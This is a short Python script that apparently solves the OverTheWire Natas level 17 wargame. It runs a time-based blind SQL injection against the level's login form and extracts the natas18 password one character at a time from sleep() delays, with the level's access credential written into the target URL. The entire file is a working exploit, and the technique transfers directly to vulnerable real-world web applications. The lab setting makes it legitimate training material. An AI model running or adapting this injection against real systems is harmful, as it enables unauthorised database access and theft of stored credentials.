#!/usr/bin/python

import requests
import string

chars = ''.join([string.ascii_letters,string.digits])
# exist = ''
password = ''
target = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'

r = requests.get(target)

# for x in chars:
#   try:
#       r=requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "%' + x + '%", sleep(5), null) %23', timeout=1)
#   except requests.exceptions.Timeout:
#       exist += x
#       print("Found : %s"% ''.join(exist))


exist='047dghjlmpqsvwxyCDFIKOPR'

for i in range(32):
    for x in exist:
        try:
            r=requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "' +password+x+ '%", sleep(5), null) %23', timeout=1)
        except requests.exceptions.Timeout:
            password += x
            print("Password : %s"% ''.join(password))